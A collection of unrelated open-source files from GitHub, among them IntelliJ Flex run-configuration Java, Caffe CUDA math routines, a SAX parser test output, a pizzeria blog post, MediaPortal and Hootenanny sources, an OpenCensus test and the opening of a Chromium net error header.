package com.intellij.lang.javascript.flex.run; import com.intellij.execution.ExecutionException; import com.intellij.execution.Executor; import com.intellij.execution.configuration.EmptyRunProfileState; import com.intellij.execution.configurations.*; import com.intellij.execution.process.OSProcessHandler; import com.intellij.execution.process.ProcessAdapter; import com.intellij.execution.process.ProcessEvent; import com.intellij.execution.runners.ExecutionEnvironment; import com.intellij.flex.model.bc.BuildConfigurationNature; import com.intellij.javascript.flex.resolve.ActionScriptClassResolver; import com.intellij.lang.javascript.flex.FlexModuleType; import com.intellij.lang.javascript.flex.FlexRefactoringListenerProvider; import com.intellij.lang.javascript.flex.FlexUtils; import com.intellij.lang.javascript.flex.projectStructure.model.FlexBuildConfiguration; import com.intellij.lang.javascript.flex.sdk.FlexSdkUtils; import com.intellij.lang.javascript.flex.sdk.FlexmojosSdkType; import com.intellij.lang.javascript.psi.ecmal4.JSClass; import com.intellij.lang.javascript.psi.ecmal4.JSPackage; import com.intellij.lang.javascript.psi.ecmal4.JSPackageStatement; import com.intellij.openapi.module.Module; import com.intellij.openapi.module.ModuleManager; import com.intellij.openapi.module.ModuleType; import com.intellij.openapi.module.ModuleUtilCore; import com.intellij.openapi.options.SettingsEditor; import com.intellij.openapi.project.Project; import com.intellij.openapi.projectRoots.Sdk; import com.intellij.openapi.roots.impl.DirectoryIndex; import com.intellij.openapi.util.Comparing; import com.intellij.openapi.util.InvalidDataException; import com.intellij.openapi.util.Pair; import com.intellij.openapi.util.WriteExternalException; import com.intellij.openapi.util.text.StringUtil; import com.intellij.openapi.vfs.VirtualFile; import com.intellij.psi.PsiDirectory; import com.intellij.psi.PsiDirectoryContainer; import com.intellij.psi.PsiElement; import com.intellij.psi.search.GlobalSearchScope; import com.intellij.refactoring.listeners.RefactoringElementListener; import com.intellij.util.xmlb.XmlSerializer; import org.jdom.Element; import org.jetbrains.annotations.NotNull; import java.io.IOException; import static com.intellij.lang.javascript.flex.run.FlashRunnerParameters.AirMobileRunTarget; public class FlashRunConfiguration extends LocatableConfigurationBase implements RunProfileWithCompileBeforeLaunchOption, RefactoringListenerProvider { private FlashRunnerParameters myRunnerParameters = new FlashRunnerParameters(); public FlashRunConfiguration(final Project project, final ConfigurationFactory factory, final String name) { super(project, factory, name); } @Override public FlashRunConfiguration clone() { final FlashRunConfiguration clone = (FlashRunConfiguration)super.clone(); clone.myRunnerParameters = myRunnerParameters.clone(); return clone; } @NotNull @Override public SettingsEditor<? extends RunConfiguration> getConfigurationEditor() { return new FlashRunConfigurationForm(getProject()); } @Override public void readExternal(@NotNull Element element) throws InvalidDataException { super.readExternal(element); myRunnerParameters = new FlashRunnerParameters(); XmlSerializer.deserializeInto(myRunnerParameters, element); } @Override public void writeExternal(@NotNull Element element) throws WriteExternalException { super.writeExternal(element); XmlSerializer.serializeInto(myRunnerParameters, element); } @Override public RunProfileState getState(@NotNull final Executor executor, @NotNull final ExecutionEnvironment env) throws ExecutionException { final FlexBuildConfiguration config; try { config = myRunnerParameters.checkAndGetModuleAndBC(getProject()).second; } catch (RuntimeConfigurationError e) { throw new ExecutionException(e.getMessage()); } final BuildConfigurationNature nature = config.getNature(); if (nature.isDesktopPlatform() || (nature.isMobilePlatform() && myRunnerParameters.getMobileRunTarget() == AirMobileRunTarget.Emulator)) { return new AirRunState(getProject(), env, myRunnerParameters); } return EmptyRunProfileState.INSTANCE; } @Override public void checkConfiguration() throws RuntimeConfigurationException { myRunnerParameters.check(getProject()); myRunnerParameters.reportWarnings(getProject()); } @NotNull public FlashRunnerParameters getRunnerParameters() { return myRunnerParameters; } @Override public Module @NotNull [] getModules() { final Module module = ModuleManager.getInstance(getProject()).findModuleByName(myRunnerParameters.getModuleName()); if (module != null && ModuleType.get(module) instanceof FlexModuleType) { return new Module[]{module}; } else { return Module.EMPTY_ARRAY; } } @Override public String suggestedName() { return myRunnerParameters.suggestName(); } @Override public RefactoringElementListener getRefactoringElementListener(final PsiElement element) { if (!myRunnerParameters.isOverrideMainClass()) { return null; } final Module module = ModuleManager.getInstance(getProject()).findModuleByName(myRunnerParameters.getModuleName()); if (!(element instanceof PsiDirectoryContainer) && !(element instanceof JSPackage) && !(element instanceof JSPackageStatement) && (module == null || !module.equals(ModuleUtilCore.findModuleForPsiElement(element)))) { return null; } final String currentPackage = StringUtil.getPackageName(myRunnerParameters.getOverriddenMainClass()); if ((element instanceof PsiDirectoryContainer || element instanceof JSPackage || element instanceof JSPackageStatement) && Comparing.strEqual(FlexRefactoringListenerProvider.getPackageName(element), currentPackage)) { return new FlexRunConfigRefactoringListener.PackageRefactoringListener(this); } if (element instanceof PsiDirectory && containsClass(module, ((PsiDirectory)element), myRunnerParameters.getOverriddenMainClass())) { return new FlexRunConfigRefactoringListener.PsiDirectoryRefactoringListener(this); } final JSClass jsClass = FlexRefactoringListenerProvider.getJSClass(element); if (jsClass != null && Comparing.strEqual(jsClass.getQualifiedName(), myRunnerParameters.getOverriddenMainClass())) { return new FlexRunConfigRefactoringListener.JSClassRefactoringListener(this); } return null; } public static boolean containsClass(final Module module, final PsiDirectory directory, final String className) { final String packageName = DirectoryIndex.getInstance(module.getProject()).getPackageName(directory.getVirtualFile()); if (!StringUtil.getPackageName(className).equals(packageName)) return false; final PsiElement psiElement = ActionScriptClassResolver.findClassByQNameStatic(className, GlobalSearchScope.moduleScope(module)); return psiElement instanceof JSClass && directory.equals(psiElement.getContainingFile().getParent()); } public static class AirRunState extends CommandLineState { private final Project myProject; private final BCBasedRunnerParameters myRunnerParameters; public AirRunState(final Project project, ExecutionEnvironment env, final BCBasedRunnerParameters runnerParameters) { super(env); myProject = project; myRunnerParameters = runnerParameters; } @Override @NotNull protected OSProcessHandler startProcess() throws ExecutionException { final FlexBuildConfiguration bc; try { bc = myRunnerParameters.checkAndGetModuleAndBC(myProject).second; } catch (RuntimeConfigurationError e) { throw new ExecutionException(e.getMessage()); } final Sdk sdk = bc.getSdk(); assert sdk != null; final boolean needToRemoveAirRuntimeDir; final VirtualFile airRuntimeDirForFlexmojosSdk; if (sdk.getSdkType() instanceof FlexmojosSdkType) { final Pair<VirtualFile, Boolean> airRuntimeDirInfo; try { airRuntimeDirInfo = FlexSdkUtils.getAirRuntimeDirInfoForFlexmojosSdk(sdk); } catch (IOException e) { throw new ExecutionException(e.getMessage()); } needToRemoveAirRuntimeDir = airRuntimeDirInfo.second; airRuntimeDirForFlexmojosSdk = airRuntimeDirInfo.first; } else { needToRemoveAirRuntimeDir = false; airRuntimeDirForFlexmojosSdk = null; } final String airRuntimePath = airRuntimeDirForFlexmojosSdk == null ? null : airRuntimeDirForFlexmojosSdk.getPath(); final OSProcessHandler processHandler = JavaCommandLineStateUtil.startProcess(FlexBaseRunner.createAdlCommandLine(myProject, myRunnerParameters, bc, airRuntimePath)); if (needToRemoveAirRuntimeDir && airRuntimeDirForFlexmojosSdk != null) { processHandler.addProcessListener(new ProcessAdapter() { @Override public void processTerminated(@NotNull final ProcessEvent event) { FlexUtils.removeFileLater(airRuntimeDirForFlexmojosSdk); } }); } return processHandler; } } }
{ "pile_set_name": "Github" }
#ifdef HAVE_CONFIG_H #include "config.h" #endif #include <fs/glib.h> #include <fs/init.h> #include <fs/thread.h> #include <stdlib.h> #include <string.h> /* Use real malloc because of inconsistencies in use of free / g_free */ #define USE_REAL_MALLOC static fs_mutex *g_init_mutex; void fs_init(void) { #ifdef USE_GLIB #ifdef USE_REAL_MALLOC #if !GLIB_CHECK_VERSION (2, 46, 0) /* g_mem_is_system_malloc has been deprecated since version 2.46 and * should not be used in newly-written code. GLib always uses the system * malloc. */ GMemVTable vtable; memset(&vtable, 0, sizeof(GMemVTable)); vtable.malloc = malloc; vtable.realloc = realloc; vtable.free = free; g_mem_set_vtable(&vtable); #endif #endif #if !GLIB_CHECK_VERSION (2, 32, 0) /* g_thread_init is deprecated since 2.32, and is only needed for older * versions of Glib (quite a bit older than 2.32, actually) */ g_thread_init(NULL ); #endif #endif g_init_mutex = fs_mutex_create(); } void fs_init_lock(void) { fs_mutex_lock(g_init_mutex); } void fs_init_unlock(void) { fs_mutex_unlock(g_init_mutex); }
{ "pile_set_name": "Github" }
#include <math_functions.h> // CUDA's, not caffe's, for fabs, signbit #include <thrust/device_vector.h> #include <thrust/functional.h> // thrust::plus #include <thrust/reduce.h> #include <cmath> #include <cstdlib> #include <cstring> #include "caffe/common.hpp" #include "caffe/util/math_functions.hpp" namespace caffe { template <> void caffe_gpu_gemm<float>(const CBLAS_TRANSPOSE TransA, const CBLAS_TRANSPOSE TransB, const int M, const int N, const int K, const float alpha, const float* A, const float* B, const float beta, float* C) { // Note that cublas follows fortran order. int lda = (TransA == CblasNoTrans) ? K : M; int ldb = (TransB == CblasNoTrans) ? N : K; cublasOperation_t cuTransA = (TransA == CblasNoTrans) ? CUBLAS_OP_N : CUBLAS_OP_T; cublasOperation_t cuTransB = (TransB == CblasNoTrans) ? CUBLAS_OP_N : CUBLAS_OP_T; CUBLAS_CHECK(cublasSgemm(Caffe::cublas_handle(), cuTransB, cuTransA, N, M, K, &alpha, B, ldb, A, lda, &beta, C, N)); } template <> void caffe_gpu_gemm<double>(const CBLAS_TRANSPOSE TransA, const CBLAS_TRANSPOSE TransB, const int M, const int N, const int K, const double alpha, const double* A, const double* B, const double beta, double* C) { // Note that cublas follows fortran order. int lda = (TransA == CblasNoTrans) ? K : M; int ldb = (TransB == CblasNoTrans) ? N : K; cublasOperation_t cuTransA = (TransA == CblasNoTrans) ? CUBLAS_OP_N : CUBLAS_OP_T; cublasOperation_t cuTransB = (TransB == CblasNoTrans) ? CUBLAS_OP_N : CUBLAS_OP_T; CUBLAS_CHECK(cublasDgemm(Caffe::cublas_handle(), cuTransB, cuTransA, N, M, K, &alpha, B, ldb, A, lda, &beta, C, N)); } template <> void caffe_gpu_gemv<float>(const CBLAS_TRANSPOSE TransA, const int M, const int N, const float alpha, const float* A, const float* x, const float beta, float* y) { cublasOperation_t cuTransA = (TransA == CblasNoTrans) ? CUBLAS_OP_T : CUBLAS_OP_N; CUBLAS_CHECK(cublasSgemv(Caffe::cublas_handle(), cuTransA, N, M, &alpha, A, N, x, 1, &beta, y, 1)); } template <> void caffe_gpu_gemv<double>(const CBLAS_TRANSPOSE TransA, const int M, const int N, const double alpha, const double* A, const double* x, const double beta, double* y) { cublasOperation_t cuTransA = (TransA == CblasNoTrans) ? CUBLAS_OP_T : CUBLAS_OP_N; CUBLAS_CHECK(cublasDgemv(Caffe::cublas_handle(), cuTransA, N, M, &alpha, A, N, x, 1, &beta, y, 1)); } template <> void caffe_gpu_dgmm<double>(const CBLAS_SIDE mode, int M, int N, const double *A, const double *x, double *C) { cublasSideMode_t cuSideA = (mode == CblasLeft) ? CUBLAS_SIDE_RIGHT : CUBLAS_SIDE_LEFT; CUBLAS_CHECK(cublasDdgmm(Caffe::cublas_handle(), cuSideA, N, M, A, N, x, 1, C, N)); } template <> void caffe_gpu_dgmm<float>(const CBLAS_SIDE mode, int M, int N, const float *A, const float *x, float *C) { cublasSideMode_t cuSideA = (mode == CblasLeft) ? CUBLAS_SIDE_RIGHT : CUBLAS_SIDE_LEFT; CUBLAS_CHECK(cublasSdgmm(Caffe::cublas_handle(), cuSideA, N, M, A, N, x, 1, C, N)); } template <> void caffe_gpu_axpy<float>(const int N, const float alpha, const float* X, float* Y) { CUBLAS_CHECK(cublasSaxpy(Caffe::cublas_handle(), N, &alpha, X, 1, Y, 1)); } template <> void caffe_gpu_axpy<double>(const int N, const double alpha, const double* X, double* Y) { CUBLAS_CHECK(cublasDaxpy(Caffe::cublas_handle(), N, &alpha, X, 1, Y, 1)); } void caffe_gpu_memcpy(const size_t N, const void* X, void* Y) { if (X != Y) { CUDA_CHECK(cudaMemcpy(Y, X, N, cudaMemcpyDefault)); // NOLINT(caffe/alt_fn) } } template <> void caffe_gpu_scal<float>(const int N, const float alpha, float *X) { CUBLAS_CHECK(cublasSscal(Caffe::cublas_handle(), N, &alpha, X, 1)); } template <> void caffe_gpu_scal<double>(const int N, const double alpha, double *X) { CUBLAS_CHECK(cublasDscal(Caffe::cublas_handle(), N, &alpha, X, 1)); } template <> void caffe_gpu_axpby<float>(const int N, const float alpha, const float* X, const float beta, float* Y) { caffe_gpu_scal<float>(N, beta, Y); caffe_gpu_axpy<float>(N, alpha, X, Y); } template <> void caffe_gpu_axpby<double>(const int N, const double alpha, const double* X, const double beta, double* Y) { caffe_gpu_scal<double>(N, beta, Y); caffe_gpu_axpy<double>(N, alpha, X, Y); } template <> void caffe_gpu_dot<float>(const int n, const float* x, const float* y, float* out) { CUBLAS_CHECK(cublasSdot(Caffe::cublas_handle(), n, x, 1, y, 1, out)); } template <> void caffe_gpu_dot<double>(const int n, const double* x, const double* y, double * out) { CUBLAS_CHECK(cublasDdot(Caffe::cublas_handle(), n, x, 1, y, 1, out)); } template <> void caffe_gpu_asum<float>(const int n, const float* x, float* y) { CUBLAS_CHECK(cublasSasum(Caffe::cublas_handle(), n, x, 1, y)); } template <> void caffe_gpu_asum<double>(const int n, const double* x, double* y) { CUBLAS_CHECK(cublasDasum(Caffe::cublas_handle(), n, x, 1, y)); } template <> void caffe_gpu_scale<float>(const int n, const float alpha, const float *x, float* y) { CUBLAS_CHECK(cublasScopy(Caffe::cublas_handle(), n, x, 1, y, 1)); CUBLAS_CHECK(cublasSscal(Caffe::cublas_handle(), n, &alpha, y, 1)); } template <> void caffe_gpu_scale<double>(const int n, const double alpha, const double *x, double* y) { CUBLAS_CHECK(cublasDcopy(Caffe::cublas_handle(), n, x, 1, y, 1)); CUBLAS_CHECK(cublasDscal(Caffe::cublas_handle(), n, &alpha, y, 1)); } template <typename Dtype> __global__ void set_kernel(const int n, const Dtype alpha, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = alpha; } } template <typename Dtype> void caffe_gpu_set(const int N, const Dtype alpha, Dtype* Y) { if (alpha == 0) { CUDA_CHECK(cudaMemset(Y, 0, sizeof(Dtype) * N)); // NOLINT(caffe/alt_fn) return; } // NOLINT_NEXT_LINE(whitespace/operators) set_kernel<Dtype><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, alpha, Y); } template void caffe_gpu_set<int>(const int N, const int alpha, int* Y); template void caffe_gpu_set<float>(const int N, const float alpha, float* Y); template void caffe_gpu_set<double>(const int N, const double alpha, double* Y); template <typename Dtype> __global__ void add_scalar_kernel(const int n, const Dtype alpha, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] += alpha; } } template <> void caffe_gpu_add_scalar(const int N, const float alpha, float* Y) { // NOLINT_NEXT_LINE(whitespace/operators) add_scalar_kernel<float><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, alpha, Y); } template <> void caffe_gpu_add_scalar(const int N, const double alpha, double* Y) { // NOLINT_NEXT_LINE(whitespace/operators) add_scalar_kernel<double><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, alpha, Y); } template <typename Dtype> __global__ void add_kernel(const int n, const Dtype* a, const Dtype* b, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = a[index] + b[index]; } } template <> void caffe_gpu_add<float>(const int N, const float* a, const float* b, float* y) { // NOLINT_NEXT_LINE(whitespace/operators) add_kernel<float><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <> void caffe_gpu_add<double>(const int N, const double* a, const double* b, double* y) { // NOLINT_NEXT_LINE(whitespace/operators) add_kernel<double><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <typename Dtype> __global__ void sub_kernel(const int n, const Dtype* a, const Dtype* b, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = a[index] - b[index]; } } template <> void caffe_gpu_sub<float>(const int N, const float* a, const float* b, float* y) { // NOLINT_NEXT_LINE(whitespace/operators) sub_kernel<float><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <> void caffe_gpu_sub<double>(const int N, const double* a, const double* b, double* y) { // NOLINT_NEXT_LINE(whitespace/operators) sub_kernel<double><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <typename Dtype> __global__ void mul_kernel(const int n, const Dtype* a, const Dtype* b, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = a[index] * b[index]; } } template <> void caffe_gpu_mul<float>(const int N, const float* a, const float* b, float* y) { // NOLINT_NEXT_LINE(whitespace/operators) mul_kernel<float><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <> void caffe_gpu_mul<double>(const int N, const double* a, const double* b, double* y) { // NOLINT_NEXT_LINE(whitespace/operators) mul_kernel<double><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <typename Dtype> __global__ void div_kernel(const int n, const Dtype* a, const Dtype* b, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = a[index] / b[index]; } } template <> void caffe_gpu_div<float>(const int N, const float* a, const float* b, float* y) { // NOLINT_NEXT_LINE(whitespace/operators) div_kernel<float><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <> void caffe_gpu_div<double>(const int N, const double* a, const double* b, double* y) { // NOLINT_NEXT_LINE(whitespace/operators) div_kernel<double><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, b, y); } template <typename Dtype> __global__ void abs_kernel(const int n, const Dtype* a, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = abs(a[index]); } } template <> void caffe_gpu_abs<float>(const int N, const float* a, float* y) { // NOLINT_NEXT_LINE(whitespace/operators) abs_kernel<float><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, y); } template <> void caffe_gpu_abs<double>(const int N, const double* a, double* y) { // NOLINT_NEXT_LINE(whitespace/operators) abs_kernel<double><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, y); } template <typename Dtype> __global__ void powx_kernel(const int n, const Dtype* a, const Dtype alpha, Dtype* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = pow(a[index], alpha); } } template <> void caffe_gpu_powx<float>(const int N, const float* a, const float alpha, float* y) { // NOLINT_NEXT_LINE(whitespace/operators) powx_kernel<float><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, alpha, y); } template <> void caffe_gpu_powx<double>(const int N, const double* a, const double alpha, double* y) { // NOLINT_NEXT_LINE(whitespace/operators) powx_kernel<double><<<CAFFE_GET_BLOCKS(N), CAFFE_CUDA_NUM_THREADS>>>( N, a, alpha, y); } DEFINE_AND_INSTANTIATE_GPU_UNARY_FUNC(sign, y[index] = (Dtype(0) < x[index]) - (x[index] < Dtype(0))); DEFINE_AND_INSTANTIATE_GPU_UNARY_FUNC(sgnbit, y[index] = signbit(x[index])); __global__ void popc_kernel(const int n, const float* a, const float* b, uint8_t* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = __popc(static_cast<uint32_t>(a[index]) ^ static_cast<uint32_t>(b[index])); } } __global__ void popcll_kernel(const int n, const double* a, const double* b, uint8_t* y) { CUDA_KERNEL_LOOP(index, n) { y[index] = __popcll(static_cast<uint64_t>(a[index]) ^ static_cast<uint64_t>(b[index])); } } template <> uint32_t caffe_gpu_hamming_distance<float>(const int n, const float* x, const float* y) { // TODO: Fix caffe_gpu_hamming_distance (see failing unit test // TestHammingDistanceGPU in test_math_functions.cpp). NOT_IMPLEMENTED; thrust::device_vector<uint8_t> popcounts(n); // NOLINT_NEXT_LINE(whitespace/operators) popc_kernel<<<CAFFE_GET_BLOCKS(n), CAFFE_CUDA_NUM_THREADS>>>( n, x, y, thrust::raw_pointer_cast(popcounts.data())); return thrust::reduce(popcounts.begin(), popcounts.end(), (uint32_t) 0, thrust::plus<uint32_t>()); } template <> uint32_t caffe_gpu_hamming_distance<double>(const int n, const double* x, const double* y) { // TODO: Fix caffe_gpu_hamming_distance (see failing unit test // TestHammingDistanceGPU in test_math_functions.cpp). NOT_IMPLEMENTED; thrust::device_vector<uint8_t> popcounts(n); // NOLINT_NEXT_LINE(whitespace/operators) popcll_kernel<<<CAFFE_GET_BLOCKS(n), CAFFE_CUDA_NUM_THREADS>>>( n, x, y, thrust::raw_pointer_cast(popcounts.data())); return thrust::reduce(popcounts.begin(), popcounts.end(), /* NOLINT_NEXT_LINE(build/include_what_you_use) */ (uint32_t) 0, thrust::plus<uint32_t>()); } void caffe_gpu_rng_uniform(const int n, unsigned int* r) { CURAND_CHECK(curandGenerate(Caffe::curand_generator(), r, n)); } template <> void caffe_gpu_rng_uniform<float>(const int n, const float a, const float b, float* r) { CURAND_CHECK(curandGenerateUniform(Caffe::curand_generator(), r, n)); const float range = b - a; if (range != static_cast<float>(1)) { caffe_gpu_scal(n, range, r); } if (a != static_cast<float>(0)) { caffe_gpu_add_scalar(n, a, r); } } template <> void caffe_gpu_rng_uniform<double>(const int n, const double a, const double b, double* r) { CURAND_CHECK(curandGenerateUniformDouble(Caffe::curand_generator(), r, n)); const double range = b - a; if (range != static_cast<double>(1)) { caffe_gpu_scal(n, range, r); } if (a != static_cast<double>(0)) { caffe_gpu_add_scalar(n, a, r); } } template <> void caffe_gpu_rng_gaussian(const int n, const float mu, const float sigma, float* r) { CURAND_CHECK( curandGenerateNormal(Caffe::curand_generator(), r, n, mu, sigma)); } template <> void caffe_gpu_rng_gaussian(const int n, const double mu, const double sigma, double* r) { CURAND_CHECK( curandGenerateNormalDouble(Caffe::curand_generator(), r, n, mu, sigma)); } } // namespace caffe
{ "pile_set_name": "Github" }
SAX.setDocumentLocator() SAX.startDocument() SAX.startElement(rec) SAX.characters( , 1) SAX.startElement(eg) SAX.pcdata(<!ENTITY % pub "&, 162) SAX.endElement(eg) SAX.characters( then the replacement text for, 43) SAX.startElement(code) SAX.characters(book, 4) SAX.endElement(code) SAX.characters(" is: , 6) SAX.startElement(eg) SAX.characters(La Peste: Albert Camus, , 25) SAX.characters(©, 2) SAX.characters( 1947 , 6) SAX.characters(É, 2) SAX.characters(ditions Gallimard. , 19) SAX.characters(&, 1) SAX.characters(rights;, 7) SAX.endElement(eg) SAX.characters( , 1) SAX.endElement(rec) SAX.endDocument()
{ "pile_set_name": "Github" }
Recently, the popular kosher dairy eatery & pizzeria in South Florida, Foozo Artisan Pizza, moved its original location a block away, expanding into a larger space that was formerly occupied by Blaze BBQ and Fuego, which had closed down at 2520 NE Miami Gardens Dr. in North Miami Beach. Expanding further into South Florida, Foozo is opening up a second, brand new location in Bay Harbour Islands, minutes from Bal Harbour and the strip of kosher restaurants in Surfside. (see map below) This new location is set to open in about a week. Foozo is potentially one of the better kosher pizzerias in the country, offering not just pizzas, but an array of top quality items (see menu inclusions below) that most kosher pizzerias largely ignore. They are known for their high-end, innovative pizzas, pastas, salads, and friendly service. Foozo’s menu items include Foozballs (cheesy arancini balls), truffle parmesan fries, a whole slew of pizzas including the “White Hot” (White sauce, Fresh Mozzarella, Ricotta, Goat cheese, roasted mushrooms, roasted garlic, banana peppers, sea salt topping), “Sabich” (Fresh tomato, roasted eggplant, red onion, boiled egg, banana peppers, topped with tahini sauce), and “The Foozo” (Fresh Mozzarella, Ricotta cheese, pesto sauce, sun-dried tomatoes, black olives, red onions); as well as Foozolis (similar to pizza rolls; Salads which are plentiful and fresh including their Caesar, Sweet Kale, Arugula, Santorini, and others; and their Pastas which include Baked Tony (Rigatoni, house made marinara, ricotta, shredded mozzarella finished in the wood fire pizza), Cheesy Mac (Cavatappi, house white sauce, mozzarella, Parmesan….finished in the wood fire oven), Tartufo Gemelli (white sauce, wild mushroom topped with truffle oil and arugula), and others. Hours of operation are Sunday-Thursday 11:30AM–10PM, Friday 11:30AM–3PM. Closed Saturday. Kosher supervision for Foozo is under Kosher Miami (KM).
{ "pile_set_name": "Github" }
#region Copyright (C) 2007-2018 Team MediaPortal /* Copyright (C) 2007-2018 Team MediaPortal http://www.team-mediaportal.com This file is part of MediaPortal 2 MediaPortal 2 is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. MediaPortal 2 is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with MediaPortal 2. If not, see <http://www.gnu.org/licenses/>. */ #endregion using MediaPortal.Common.MediaManagement; using MediaPortal.Common.MediaManagement.Helpers; using MediaPortal.UiComponents.Media.General; namespace MediaPortal.UiComponents.Media.Models.Navigation { /// <summary> /// Holds a GUI item which represents a character filter choice. /// </summary> public class CharacterFilterItem : FilterItem { public override void Update(MediaItem mediaItem) { base.Update(mediaItem); if (mediaItem == null) return; CharacterInfo character = new CharacterInfo(); if (!character.FromMetadata(mediaItem.Aspects)) return; Name = character.Name ?? ""; Actor = character.ActorName ?? ""; FireChange(); } public string Name { get { return this[Consts.KEY_NAME]; } set { SetLabel(Consts.KEY_NAME, value); } } public string Actor { get { return this[Consts.KEY_ACTOR]; } set { SetLabel(Consts.KEY_ACTOR, value); } } } }
{ "pile_set_name": "Github" }
<blc:form th:remove="tag"> <th:block th:include="components/entityForm" th:with="additionalClasses='modal-form'"> </th:block> </blc:form>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <project version="4"> <component name="CompilerConfiguration"> <option name="DEFAULT_COMPILER" value="Javac" /> <resourceExtensions /> <wildcardResourcePatterns> <entry name="!?*.java" /> <entry name="!?*.form" /> <entry name="!?*.class" /> <entry name="!?*.groovy" /> <entry name="!?*.scala" /> <entry name="!?*.flex" /> <entry name="!?*.kt" /> <entry name="!?*.clj" /> </wildcardResourcePatterns> <annotationProcessing> <profile default="true" name="Default" enabled="false"> <processorPath useClasspath="true" /> </profile> </annotationProcessing> </component> </project>
{ "pile_set_name": "Github" }
/* * This file is part of Hootenanny. * * Hootenanny is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * -------------------------------------------------------------------- * * The following copyright notices are generated automatically. If you * have a new notice to add, please use the format: * " * @copyright Copyright ..." * This will properly maintain the copyright information. DigitalGlobe * copyrights will be updated automatically. * * @copyright Copyright (C) 2018, 2019, 2020 DigitalGlobe (http://www.digitalglobe.com/) */ #ifndef TO_ENGLISH_ADDRESS_TRANSLATOR_H #define TO_ENGLISH_ADDRESS_TRANSLATOR_H // hoot #include <hoot/core/language/ToEnglishTranslator.h> #include <hoot/core/util/Configurable.h> namespace hoot { /** * Translates addresses to English */ class ToEnglishAddressTranslator : public Configurable { public: static std::string className() { return "hoot::ToEnglishAddressTranslator"; } ToEnglishAddressTranslator() = default; virtual ~ToEnglishAddressTranslator() = default; virtual void setConfiguration(const Settings& conf); /** * Translates an address to English * * @param address a complete address string */ QString translateToEnglish(const QString& address) const; private: friend class AddressScoreExtractorTest; // See comments in PoiPolygonTypeScoreExtractor as to why this is static. static std::shared_ptr<ToEnglishTranslator> _translator; }; } #endif // TO_ENGLISH_ADDRESS_TRANSLATOR_H
{ "pile_set_name": "Github" }
/** * Copyright 2019, OpenCensus Authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import * as assert from 'assert'; import { metricProducerManagerInstance } from '../src/metrics/export/metric-producer-manager'; import { MetricsComponent } from '../src/metrics/metric-component'; import { MetricRegistry } from '../src/metrics/metric-registry'; describe('MetricsComponent()', () => { let metricsComponent: MetricsComponent; beforeEach(() => { metricProducerManagerInstance.removeAll(); metricsComponent = new MetricsComponent(); }); it('should return a MetricRegistry instance', () => { assert.ok(metricsComponent.getMetricRegistry() instanceof MetricRegistry); }); it('should register metricRegistry to MetricProducerManger', () => { assert.strictEqual( metricProducerManagerInstance.getAllMetricProducer().size, 1 ); assert.ok( metricProducerManagerInstance .getAllMetricProducer() .has(metricsComponent.getMetricRegistry().getMetricProducer()) ); }); });
{ "pile_set_name": "Github" }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef NET_BASE_NET_ERRORS_H__ #define NET_BASE_NET_ERRORS_H__ #include <string> #include <vector> #include "base/basictypes.h" #include "base/files/file.h" #include "base/logging.h" namespace net { // Error domain of the net module's error codes. extern const char kErrorDomain[]; // Error values are negative. enum Error { // No error. OK = 0, #define NET_ERROR(label, value) ERR_ ## label = value, #include "net_error_list.h" #undef NET_ERROR // The value of the first certificate error code. ERR_CERT_BEGIN = ERR_CERT_COMMON_NAME_INVALID, }; // Returns a textual representation of the error code for logging purposes. std::string ErrorToString(int error); // Same as above, but leaves off the leading "net::". std::string ErrorToShortString(int error); // Returns true if |error| is a certificate error code. bool IsCertificateError(int error); // Returns true if |error| is a client certificate authentication error. This // does not include ERR_SSL_PROTOCOL_ERROR which may also signal 